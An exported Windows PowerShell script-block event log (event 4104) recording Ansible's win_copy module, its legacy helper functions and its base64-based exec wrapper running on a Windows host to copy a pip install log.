Extract-ZipLegacy -src $src -dest $dest
} else {
Extract-Zip -src $src -dest $dest
}
$result.changed = $true
} elseif ($copy_mode -eq "remote") {
# all copy actions are happening on the remote side (windows host), need
# too copy source and dest using PS code
$result.src = $src
$result.dest = $dest
if (-not (Test-Path -Path $src)) {
Fail-Json -obj $result -message "Cannot copy src file: '$src' as it does not exist"
}
if (Test-Path -Path $src -PathType Container) {
# we are copying a directory or the contents of a directory
$result.operation = 'folder_copy'
if ($src.EndsWith("/") -or $src.EndsWith("`\")) {
# copying the folder's contents to dest
$diff = ""
$child_files = Get-ChildItem -Path $src -Force
foreach ($child_file in $child_files) {
$dest_child_path = Join-Path -Path $dest -ChildPath $child_file.Name
if ($child_file.PSIsContainer) {
$diff += Copy-Folder -source $child_file.FullName -dest $dest_child_path
} else {
$diff += (Copy-File -source $child_file.FullName -dest $dest_child_path).diff
}
}
} else {
# copying the folder and it's contents to dest
$dest = Join-Path -Path $dest -ChildPath (Get-Item -Path $src -Force).Name
$result.dest = $dest
$diff = Copy-Folder -source $src -dest $dest
}
} else {
# we are just copying a single file to dest
$result.operation = 'file_copy'
$source_basename = (Get-Item -Path $src -Force).Name
$result.original_basename = $source_basename
if ($dest.EndsWith("/") -or $dest.EndsWith("`\")) {
$dest = Join-Path -Path $dest -ChildPath (Get-Item -Path $src -Force).Name
$result.dest = $dest
} else {
# check if the parent dir exists, this is only done if src is a
# file and dest if the path to a file (doesn't end with \ or /)
$parent_dir = Split-Path -Path $dest
if (Test-Path -Path $parent_dir -PathType Leaf) {
Fail-Json -obj $result -message "object at destination parent dir '$parent_dir' is currently a file"
} elseif (-not (Test-Path -Path $parent_dir -PathType Container)) {
Fail-Json -obj $result -message "Destination directory '$parent_dir' does not exist"
}
}
$copy_result = Copy-File -source $src -dest $dest
$diff = $copy_result.diff
$result.checksum = $copy_result.checksum
}
# the file might not exist if running in check mode
if (-not $check_mode -or (Test-Path -Path $dest -PathType Leaf)) {
$result.size = Get-FileSize -path $dest
} else {
$result.size = $null
}
if ($diff_mode) {
$result.diff.prepared = $diff
}
} elseif ($copy_mode -eq "single") {
# a single file is located in src and we need to copy to dest, this will
# always result in a change as the calculation is done on the Ansible side
# before this is run. This should also never run in check mode
if (-not (Test-Path -Path $src -PathType Leaf)) {
Fail-Json -obj $result -message "Cannot copy src file: '$src' as it does not exist"
}
# the dest parameter is a directory, we need to append original_basename
if ($dest.EndsWith("/") -or $dest.EndsWith("`\") -or (Test-Path -Path $dest -PathType Container)) {
$remote_dest = Join-Path -Path $dest -ChildPath $original_basename
$parent_dir = Split-Path -Path $remote_dest
# when dest ends with /, we need to create the destination directories
if (Test-Path -Path $parent_dir -PathType Leaf) {
Fail-Json -obj $result -message "object at destination parent dir '$parent_dir' is currently a file"
} elseif (-not (Test-Path -Path $parent_dir -PathType Container)) {
New-Item -Path $parent_dir -ItemType Directory | Out-Null
}
} else {
$remote_dest = $dest
$parent_dir = Split-Path -Path $remote_dest
# check if the dest parent dirs exist, need to fail if they don't
if (Test-Path -Path $parent_dir -PathType Leaf) {
Fail-Json -obj $result -message "object at destination parent dir '$parent_dir' is currently a file"
} elseif (-not (Test-Path -Path $parent_dir -PathType Container)) {
Fail-Json -obj $result -message "Destination directory '$parent_dir' does not exist"
}
}
Copy-Item -Path $src -Destination $remote_dest -Force | Out-Null
$result.changed = $true
}
Exit-Json -obj $result
ScriptBlock ID: b98c2b0a-583b-4aba-906a-2b7b163143da
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1661 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3840 | 4732 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:09 AM | dfeadd90-ee34-0002-78fc-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
# Copyright (c), Michael DeHaan <michael.dehaan@gmail.com>, 2014, and others
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
Set-StrictMode -Version 2.0
$ErrorActionPreference = "Stop"
Function Set-Attr($obj, $name, $value)
{
<#
.SYNOPSIS
Helper function to set an "attribute" on a psobject instance in PowerShell.
This is a convenience to make adding Members to the object easier and
slightly more pythonic
.EXAMPLE
Set-Attr $result "changed" $true
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
Try
{
$obj.$name = $value
}
Catch
{
$obj | Add-Member -Force -MemberType NoteProperty -Name $name -Value $value
}
}
Function Exit-Json($obj)
{
<#
.SYNOPSIS
Helper function to convert a PowerShell object to JSON and output it, exiting
the script
.EXAMPLE
Exit-Json $result
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit
}
Function Fail-Json($obj, $message = $null)
{
<#
.SYNOPSIS
Helper function to add the "msg" property and "failed" property, convert the
PowerShell Hashtable to JSON and output it, exiting the script
.EXAMPLE
Fail-Json $result "This is the failure message"
#>
if ($obj -is [hashtable] -or $obj -is [psobject]) {
# Nothing to do
} elseif ($obj -is [string] -and $null -eq $message) {
# If we weren't given 2 args, and the only arg was a string,
# create a new Hashtable and use the arg as the failure message
$message = $obj
$obj = @{ }
} else {
# If the first argument is undefined or a different type,
# make it a Hashtable
$obj = @{ }
}
# Still using Set-Attr for PSObject compatibility
Set-Attr $obj "msg" $message
Set-Attr $obj "failed" $true
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit 1
}
Function Add-Warning($obj, $message)
{
<#
.SYNOPSIS
Helper function to add warnings, even if the warnings attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("warnings")) {
$obj.warnings = @()
} elseif ($obj.warnings -isnot [array]) {
throw "Add-Warning: warnings attribute is not an array"
}
$obj.warnings += $message
}
Function Add-DeprecationWarning($obj, $message, $version = $null)
{
<#
.SYNOPSIS
Helper function to add deprecations, even if the deprecations attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("deprecations")) {
$obj.deprecations = @()
} elseif ($obj.deprecations -isnot [array]) {
throw "Add-DeprecationWarning: deprecations attribute is not a list"
}
$obj.deprecations += @{
msg = $message
version = $version
}
}
Function Expand-Environment($value)
{
<#
.SYNOPSIS
Helper function to expand environment variables in values. By default
it turns any type to a string, but we ensure $null remains $null.
#>
if ($null -ne $value) {
[System.Environment]::ExpandEnvironmentVariables($value)
} else {
$value
}
}
Function Get-AnsibleParam($obj, $name, $default = $null, $resultobj = @{}, $failifempty = $false, $emptyattributefailmessage, $ValidateSet, $ValidateSetErrorMessage, $type = $null, $aliases = @())
{
<#
.SYNOPSIS
Helper function to get an "attribute" from a psobject instance in PowerShell.
This is a convenience to make getting Members from an object easier and
slightly more pythonic
.EXAMPLE
$attr = Get-AnsibleParam $response "code" -default "1"
.EXAMPLE
Get-AnsibleParam -obj $params -name "State" -default "Present" -ValidateSet "Present","Absent" -resultobj $resultobj -failifempty $true
Get-AnsibleParam also supports Parameter validation to save you from coding that manually
Note that if you use the failifempty option, you do need to specify resultobject as well.
#>
# Check if the provided Member $name or aliases exist in $obj and return it or the default.
try {
$found = $null
# First try to find preferred parameter $name
$aliases = @($name) + $aliases
# Iterate over aliases to find acceptable Member $name
foreach ($alias in $aliases) {
if ($obj.ContainsKey($alias)) {
$found = $alias
break
}
}
if ($null -eq $found) {
throw
}
$name = $found
if ($ValidateSet) {
if ($ValidateSet -contains ($obj.$name)) {
$value = $obj.$name
} else {
if ($null -eq $ValidateSetErrorMessage) {
#Auto-generated error should be sufficient in most use cases
$ValidateSetErrorMessage = "Get-AnsibleParam: Argument $name needs to be one of $($ValidateSet -join ",") but was $($obj.$name)."
}
Fail-Json -obj $resultobj -message $ValidateSetErrorMessage
}
} else {
$value = $obj.$name
}
} catch {
if ($failifempty -eq $false) {
$value = $default
} else {
if (-not $emptyattributefailmessage) {
$emptyattributefailmessage = "Get-AnsibleParam: Missing required argument: $name"
}
Fail-Json -obj $resultobj -message $emptyattributefailmessage
}
}
# If $value -eq $null, the parameter was unspecified by the user (deliberately or not)
# Please leave $null-values intact, modules need to know if a parameter was specified
# When $value is already an array, we cannot rely on the null check, as an empty list
# is seen as null in the check below
if ($null -ne $value -or $value -is [array]) {
if ($type -eq "path") {
# Expand environment variables on path-type
$value = Expand-Environment($value)
# Test if a valid path is provided
if (-not (Test-Path -IsValid $value)) {
$path_invalid = $true
# could still be a valid-shaped path with a nonexistent drive letter
if ($value -match "^\w:") {
# rewrite path with a valid drive letter and recheck the shape- this might still fail, eg, a nonexistent non-filesystem PS path
if (Test-Path -IsValid $(@(Get-PSDrive -PSProvider Filesystem)[0].Name + $value.Substring(1))) {
$path_invalid = $false
}
}
if ($path_invalid) {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' has an invalid path '$value' specified."
}
}
} elseif ($type -eq "str") {
# Convert str types to real Powershell strings
$value = $value.ToString()
} elseif ($type -eq "bool") {
# Convert boolean types to real Powershell booleans
$value = $value | ConvertTo-Bool
} elseif ($type -eq "int") {
# Convert int types to real Powershell integers
$value = $value -as [int]
} elseif ($type -eq "float") {
# Convert float types to real Powershell floats
$value = $value -as [float]
} elseif ($type -eq "list") {
if ($value -is [array]) {
# Nothing to do
} elseif ($value -is [string]) {
# Convert string type to real Powershell array
$value = $value.Split(",").Trim()
} elseif ($value -is [int]) {
$value = @($value)
} else {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' is not a YAML list."
}
# , is not a typo, forces it to return as a list when it is empty or only has 1 entry
return ,$value
}
}
return $value
}
#Alias Get-attr-->Get-AnsibleParam for backwards compat. Only add when needed to ease debugging of scripts
If (-not(Get-Alias -Name "Get-attr" -ErrorAction SilentlyContinue))
{
New-Alias -Name Get-attr -Value Get-AnsibleParam
}
Function ConvertTo-Bool
{
<#
.SYNOPSIS
Helper filter/pipeline function to convert a value to boolean following current
Ansible practices
.EXAMPLE
$is_true = "true" | ConvertTo-Bool
#>
param(
[parameter(valuefrompipeline=$true)]
$obj
)
$boolean_strings = "yes", "on", "1", "true", 1
$obj_string = [string]$obj
if (($obj -is [boolean] -and $obj) -or $boolean_strings -contains $obj_string.ToLower()) {
return $true
} else {
return $false
}
}
Function Parse-Args($arguments, $supports_check_mode = $false)
{
<#
.SYNOPSIS
Helper function to parse Ansible JSON arguments from a "file" passed as
the single argument to the module.
.EXAMPLE
$params = Parse-Args $args
#>
$params = New-Object psobject
If ($arguments.Length -gt 0)
{
$params = Get-Content $arguments[0] | ConvertFrom-Json
}
Else {
$params = $complex_args
}
$check_mode = Get-AnsibleParam -obj $params -name "_ansible_check_mode" -type "bool" -default $false
If ($check_mode -and -not $supports_check_mode)
{
Exit-Json @{
skipped = $true
changed = $false
msg = "remote module does not support check mode"
}
}
return $params
}
Function Get-FileChecksum($path, $algorithm = 'sha1')
{
<#
.SYNOPSIS
Helper function to calculate a hash of a file in a way which PowerShell 3
and above can handle
#>
If (Test-Path -Path $path -PathType Leaf)
{
switch ($algorithm)
{
'md5' { $sp = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider }
'sha1' { $sp = New-Object -TypeName System.Security.Cryptography.SHA1CryptoServiceProvider }
'sha256' { $sp = New-Object -TypeName System.Security.Cryptography.SHA256CryptoServiceProvider }
'sha384' { $sp = New-Object -TypeName System.Security.Cryptography.SHA384CryptoServiceProvider }
'sha512' { $sp = New-Object -TypeName System.Security.Cryptography.SHA512CryptoServiceProvider }
default { Fail-Json @{} "Unsupported hash algorithm supplied '$algorithm'" }
}
If ($PSVersionTable.PSVersion.Major -ge 4) {
$raw_hash = Get-FileHash $path -Algorithm $algorithm
$hash = $raw_hash.Hash.ToLower()
} Else {
$fp = [System.IO.File]::Open($path, [System.IO.Filemode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::ReadWrite);
$hash = [System.BitConverter]::ToString($sp.ComputeHash($fp)).Replace("-", "").ToLower();
$fp.Dispose();
}
}
ElseIf (Test-Path -Path $path -PathType Container)
{
$hash = "3";
}
Else
{
$hash = "1";
}
return $hash
}
Function Get-PendingRebootStatus
{
<#
.SYNOPSIS
Check if reboot is required, if so notify CA.
Function returns true if computer has a pending reboot
#>
$featureData = Invoke-WmiMethod -EA Ignore -Name GetServerFeature -Namespace root\microsoft\windows\servermanager -Class MSFT_ServerManagerTasks
$regData = Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" "PendingFileRenameOperations" -EA Ignore
$CBSRebootStatus = Get-ChildItem "HKLM:\\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing" -ErrorAction SilentlyContinue| Where-Object {$_.PSChildName -eq "RebootPending"}
if(($featureData -and $featureData.RequiresReboot) -or $regData -or $CBSRebootStatus)
{
return $True
}
else
{
return $False
}
}
# this line must stay at the bottom to ensure all defined module parts are exported
Export-ModuleMember -Alias * -Function * -Cmdlet *
ScriptBlock ID: eac57c85-7c49-40c9-9850-6bda666ff10e
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1660 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3840 | 5092 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:09 AM | dfeadd90-ee34-0002-6bfc-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
{
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
ScriptBlock ID: b489730f-283b-4e35-867c-831687324f19
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1659 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3840 | 5092 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:09 AM | dfeadd90-ee34-0002-66fc-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 3):
0J3MgY29udGVudHMgdG8gZGVzdAogICAgICAgICAgICAkZGVzdCA9IEpvaW4tUGF0aCAtUGF0aCAkZGVzdCAtQ2hpbGRQYXRoIChHZXQtSXRlbSAtUGF0aCAkc3JjIC1Gb3JjZSkuTmFtZQogICAgICAgICAgICAkcmVzdWx0LmRlc3QgPSAkZGVzdAogICAgICAgICAgICAkZGlmZiA9IENvcHktRm9sZGVyIC1zb3VyY2UgJHNyYyAtZGVzdCAkZGVzdAogICAgICAgIH0KICAgIH0gZWxzZSB7CiAgICAgICAgIyB3ZSBhcmUganVzdCBjb3B5aW5nIGEgc2luZ2xlIGZpbGUgdG8gZGVzdAogICAgICAgICRyZXN1bHQub3BlcmF0aW9uID0gJ2ZpbGVfY29weScKCiAgICAgICAgJHNvdXJjZV9iYXNlbmFtZSA9IChHZXQtSXRlbSAtUGF0aCAkc3JjIC1Gb3JjZSkuTmFtZQogICAgICAgICRyZXN1bHQub3JpZ2luYWxfYmFz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kZXN0CgogICAgICAgICMgY2hlY2sgaWYgdGhlIGRlc3QgcGFyZW50IGRpcnMgZXhpc3QsIG5lZWQgdG8gZmFpbCBpZiB0aGV5IGRvbid0CiAgICAgICAgaWYgKFRlc3QtUGF0aCAtUGF0aCAkcGFyZW50X2RpciAtUGF0aFR5cGUgTGVhZikgewogICAgICAgICAgICBGYWlsLUpzb24gLW9iaiAkcmVzdWx0IC1tZXNzYWdlICJvYmplY3QgYXQgZGVzdGluYXRpb24gcGFyZW50IGRpciAnJHBhcmVudF9kaXInIGlzIGN1cnJlbnRseSBhIGZpbGUiCiAgICAgICAgfSBlbHNlaWYgKC1ub3QgKFRlc3QtUGF0aCAtUGF0aCAkcGFyZW50X2RpciAtUGF0aFR5cGUgQ29udGFpbmVyKSkgewogICAgICAgICAgICBGYWlsLUpzb24gLW9iaiAkcmVzdWx0IC1tZXNzYWdlICJEZXN0aW5hdGlvbiBkaXJlY3RvcnkgJyRwYXJlbnRfZGlyJyBkb2VzIG5vdCBleGlzdCIKICAgICAgICB9CiAgICB9CgogICAgQ29weS1JdGVtIC1QYXRoICRzcmMgLURlc3RpbmF0aW9uICRyZW1vdGVfZGVzdCAtRm9yY2UgfCBPdXQtTnVsbAogICAgJHJlc3VsdC5jaGFuZ2VkID0gJHRydWUKfQoKRXhpdC1Kc29uIC1vYmogJHJlc3VsdAo=", "module_args": {"_ansible_version": "2.7.0", "_ansible_selinux_special_fs": ["fuse", "nfs", "vboxsf", "ramfs", "9p"], "_copy_mode": "single", "_ansible_remote_tmp": "%TEMP%", "_ansible_syslog_facility": "LOG_USER", "_ansible_keep_remote_files": false, "_ansible_socket": null, "_original_basename": "pip-install-os-win.log", "_ansible_check_mode": false, "src": "C:\\Users\\Admin\\AppData\\Local\\Temp\\ansible-tmp-1611042847.66-223296393288862\\source", "_ansible_no_log": false, "_ansible_module_name": "copy", "_ansible_verbosity": 4, "dest": "c:\\openstack\\log\\pip-install-os-win.log", "_ansible_diff": false, "_ansible_debug": false, "_ansible_shell_executable": "/bin/sh", "_ansible_tmpdir": "'C:\\Users\\Admin\\AppData\\Local\\Temp\\ansible-tmp-1611042847.66-223296393288862'"}}
'@
}
process {
$input_as_string = [string]$input
$json_raw += $input_as_string
}
end {
If (-not $json_raw) {
Write-Error "no input given" -Category InvalidArgument
}
$payload = ConvertTo-HashtableFromPsCustomObject (ConvertFrom-Json $json_raw)
# TODO: handle binary modules
# TODO: handle persistence
$min_os_version = [version]$payload.min_os_version
if ($min_os_version -ne $null) {
$actual_os_version = [System.Environment]::OSVersion.Version
if ($actual_os_version -lt $min_os_version) {
$msg = "This module cannot run on this OS as it requires a minimum version of $min_os_version, actual was $actual_os_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$min_ps_version = [version]$payload.min_ps_version
if ($min_ps_version -ne $null) {
$actual_ps_version = $PSVersionTable.PSVersion
if ($actual_ps_version -lt $min_ps_version) {
$msg = "This module cannot run as it requires a minimum PowerShell version of $min_ps_version, actual was $actual_ps_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$actions = $payload.actions
# pop 0th action as entrypoint
$entrypoint = $payload.($actions[0])
$payload.actions = $payload.actions[1..99]
$entrypoint = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($entrypoint))
# load the current action entrypoint as a module custom object with a Run method
$entrypoint = New-Module -ScriptBlock ([scriptblock]::Create($entrypoint)) -AsCustomObject
Set-Variable -Scope global -Name complex_args -Value $payload["module_args"] | Out-Null
# dynamically create/load modules
ForEach ($mod in $payload.powershell_modules.GetEnumerator()) {
$decoded_module = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($mod.Value))
New-Module -ScriptBlock ([scriptblock]::Create($decoded_module)) -Name $mod.Key | Import-Module -WarningAction SilentlyContinue | Out-Null
}
$output = $entrypoint.Run($payload)
Write-Output $output
}
ScriptBlock ID: 72d527fe-7cf8-41cf-8e2e-abf6ec989071
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1658 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3840 | 5092 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:09 AM | dfeadd90-ee34-0002-60fc-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 3):
9kZV06Ok9wZW4sIFtTeXN0ZW0uSU8uRmlsZUFjY2Vzc106OlJlYWQsIFtTeXN0ZW0uSU8uRmlsZVNoYXJlXTo6UmVhZFdyaXRlKTsKICAgICAgICAgICAgJGhhc2ggPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OlRvU3RyaW5nKCRzcC5Db21wdXRlSGFzaCgkZnApKS5SZXBsYWNlKCItIiwgIiIpLlRvTG93ZXIoKTsKICAgICAgICAgICAgJGZwLkRpc3Bvc2UoKTsKICAgICAgICB9CiAgICB9CiAgICBFbHNlSWYgKFRlc3QtUGF0aCAtUGF0aCAkcGF0aCAtUGF0aFR5cGUgQ29udGFpbmVyKQogICAgewogICAgICAgICRoYXNoID0gIjMiOwogICAgfQogICAgRWxzZQogICAgewogICAgICAgICRoYXNoID0gIjEiOwogICAgfQogICAgcmV0dXJuICRoYXNoCn0KCkZ1bmN0aW9uIEdldC1QZW5kaW5nUmVib290U3RhdHVzCnsKPCMKICAgIC5TWU5PUFNJUwogICAgQ2hlY2sgaWYgcmVib290IGlzIHJlcXVpcmVkLCBpZiBzbyBub3RpZnkgQ0EuCiAgICBGdW5jdGlvbiByZXR1cm5zIHRydWUgaWYgY29tcHV0ZXIgaGFzIGEgcGVuZGluZyByZWJvb3QKIz4KICAgICRmZWF0dXJlRGF0YSA9IEludm9rZS1XbWlNZ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URjgpCiAgICBmb3JlYWNoICgkZW50cnkgaW4gJGFyY2hpdmUuRW50cmllcykgewogICAgICAgICRhcmNoaXZlX25hbWUgPSAkZW50cnkuRnVsbE5hbWUKCiAgICAgICAgIyBGdWxsTmFtZSBtYXkgYmUgYXBwZW5kZWQgd2l0aCAvIG9yIFwsIGRldGVybWluZSBpZiBpdCBpcyBwYWRkZWQgYW5kIHJlbW92ZSBpdAogICAgICAgICRwYWRkaW5nX2xlbmd0aCA9ICRhcmNoaXZlX25hbWUuTGVuZ3RoICUgNAogICAgICAgIGlmICgkcGFkZGluZ19sZW5ndGggLWVxIDApIHsKICAgICAgICAgICAgJGlzX2RpciA9ICRmYWxzZQogICAgICAgICAgICAkYmFzZTY0X25hbWUgPSAkYXJjaGl2ZV9uYW1lCiAgICAgICAgfSBlbHNlaWYgKCRwYWRkaW5nX2xlbmd0aCAtZXEgMSkgewogICAgICAgICAgICAkaXNfZGlyID0gJHRydWUKICAgICAgICAgICAgaWYgKCRhcmNoaXZlX25hbWUuRW5kc1dpdGgoIi8iKSAtb3IgJGFyY2hpdmVfbmFtZS5FbmRzV2l0aCgiYFwiKSkgewogICAgICAgICAgICAgICAgJGJhc2U2NF9uYW1lID0gJGFyY2hpdmVfbmFtZS5TdWJzdHJpbmcoMCwgJGFyY2hpdmVfbmFtZS5MZW5ndGggLSAxKQogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgdGhyb3cgImludmFsaWQgYmFzZTY0IGFyY2hpdmUgbmFtZSAnJGFyY2hpdmVfbmFtZSciCiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgewogICAgICAgICAgICB0aHJvdyAiaW52YWxpZCBiYXNlNjQgbGVuZ3RoICckYXJjaGl2ZV9uYW1lJyIKICAgICAgICB9CgogICAgICAgICMgdG8gaGFuZGxlIHVuaWNvZGUgY2hhcmFjdGVyLCB3aW5fY29weSBhY3Rpb24gcGx1Z2luIGhhcyBlbmNvZGVkIHRoZSBmaWxlbmFtZQ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5kIGl
ScriptBlock ID: 72d527fe-7cf8-41cf-8e2e-abf6ec989071
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1657 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3840 | 5092 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:09 AM | dfeadd90-ee34-0002-60fc-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 3):
begin {
$DebugPreference = "Continue"
$ErrorActionPreference = "Stop"
Set-StrictMode -Version 2
function ConvertTo-HashtableFromPsCustomObject ($myPsObject){
$output = @{};
$myPsObject | Get-Member -MemberType *Property | % {
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
return $output;
}
# stream JSON including become_pw, ps_module_payload, bin_module_payload, become_payload, write_payload_path, preserve directives
# exec runspace, capture output, cleanup, return module output
# NB: do not adjust the following line- it is replaced when doing non-streamed module output
$json_raw = @'
{"min_ps_version": null, "exec": "CkZ1bmN0aW9uIFJ1bigkcGF5bG9hZCkgewogICAgJGVudHJ5cG9pbnQgPSAkcGF5bG9hZC5tb2R1bGVfZW50cnkKCiAgICAkZW50cnlwb2ludCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGVudHJ5cG9pbnQpKQoKICAgICRwcyA9IFtwb3dlcnNoZWxsXTo6Q3JlYXRlKCkKCiAgICAkcHMuQWRkU3RhdGVtZW50KCkuQWRkQ29tbWFuZCgiU2V0LVZhcmlhY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mYWxzZSIpIHwgT3V0LU51bGwKICAgIH0KCiAgICAkcHMuQWRkU3RhdGVtZW50KCkuQWRkU2NyaXB0KCRlbnRyeXBvaW50KSB8IE91dC1OdWxsCgogICAgJG91dHB1dCA9ICRwcy5JbnZva2UoKQoKICAgICRvdXRwdXQKCiAgICAjIFBTMyBkb2Vzbid0IHByb3Blcmx5IHNldCBIYWRFcnJvcnMgaW4gbWFueSBjYXNlcywgaW5zcGVjdCB0aGUgZXJyb3Igc3RyZWFtIGFzIGEgZmFsbGJhY2sKICAgIElmICgkcHMuSGFkRXJyb3JzIC1vciAoJFBTVmVyc2lvblRhYmxlLlBTVmVyc2lvbi5NYWpvciAtbHQgNCAtYW5kICRwcy5TdHJlYW1zLkVycm9yLkNvdW50IC1ndCAwKSkgewogICAgICAgICRob3N0LlVJLldyaXRlRXJyb3JMaW5lKCQoJHBzLlN0cmVhbXMuRXJyb3IgfCBPdXQtU3RyaW5nKSkKICAgICAgICAkZXhpdF9jb2RlID0gJHBzLlJ1bnNwYWNlLlNlc3Npb25TdGF0ZVByb3h5LkdldFZhcmlhYmxlKCJMQVNURVhJVENPREUiKQogICAgICAgIElmKC1ub3QgJGV4aXRfY29kZSkgewogICAgICAgICAgICAkZXhpdF9jb2RlID0gMQogICAgICAgIH0KICAgICAgICAjIG5lZWQgdG8gdXNlIHRoaXMgaW5zdGVhZCBvZiBFeGl0IGtleXdvcmQgdG8gcHJldmVudCBydW5zcGFjZSBmcm9tIGNyYXNoaW5nIHdpdGggZHluYW1pYyBtb2R1bGVzCiAgICAgICAgJGhvc3QuU2V0U2hvdWxkRXhpdCgkZXhpdF9jb2RlKQogICAgfQp9Cg==", "actions": ["exec"], "environment": {}, "min_os_version": null, "powershell_modules": {"Ansible.ModuleUtils.Legacy": "IyBDb3B5cmlnaHQgKGMpLCBNaWNoYWVsIERlSGFhbiA8bWljaGFlbC5kZWhhYW5AZ21haWwuY29tPiwgMjAxNCwgYW5kIG90aGVycwojIFNpbXBsaWZpZWQ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gICAgICAgfQoKICAgICAgICBpZiAoJG51bGwgLWVxICRmb3VuZCkgewogICAgICAgICAgICB0aHJvdwogICAgICAgIH0KICAgICAgICAkbmFtZSA9ICRmb3VuZAoKICAgICAgICBpZiAoJFZhbGlkYXRlU2V0KSB7CgogICAgICAgICAgICBpZiAoJFZhbGlkYXRlU2V0IC1jb250YWlucyAoJG9iai4kbmFtZSkpIHsKICAgICAgICAgICAgICAgICR2YWx1ZSA9ICRvYmouJG5hbWUKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGlmICgkbnVsbCAtZXEgJFZhbGlkYXRlU2V0RXJyb3JNZXNzYWdlKSB7CiAgICAgICAgICAgICAgICAgICAgI0F1dG8tZ2VuZXJhdGVkIGVycm9yIHNob3VsZCBiZSBzdWZmaWNpZW50IGluIG1vc3QgdXNlIGNhc2VzCiAgICAgICAgICAgICAgICAgICAgJFZhbGlkYXRlU2V0RXJyb3JNZXNzYWdlID0gIkdldC1BbnNpYmxlUGFyYW06IEFyZ3VtZW50ICRuYW1lIG5lZWRzIHRvIGJlIG9uZSBvZiAkKCRWYWxpZGF0ZVNldCAtam9pbiAiLCIpIGJ1dCB3YXMgJCgkb2JqLiRuYW1lKS4iCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBGYWlsLUpzb24gLW9iai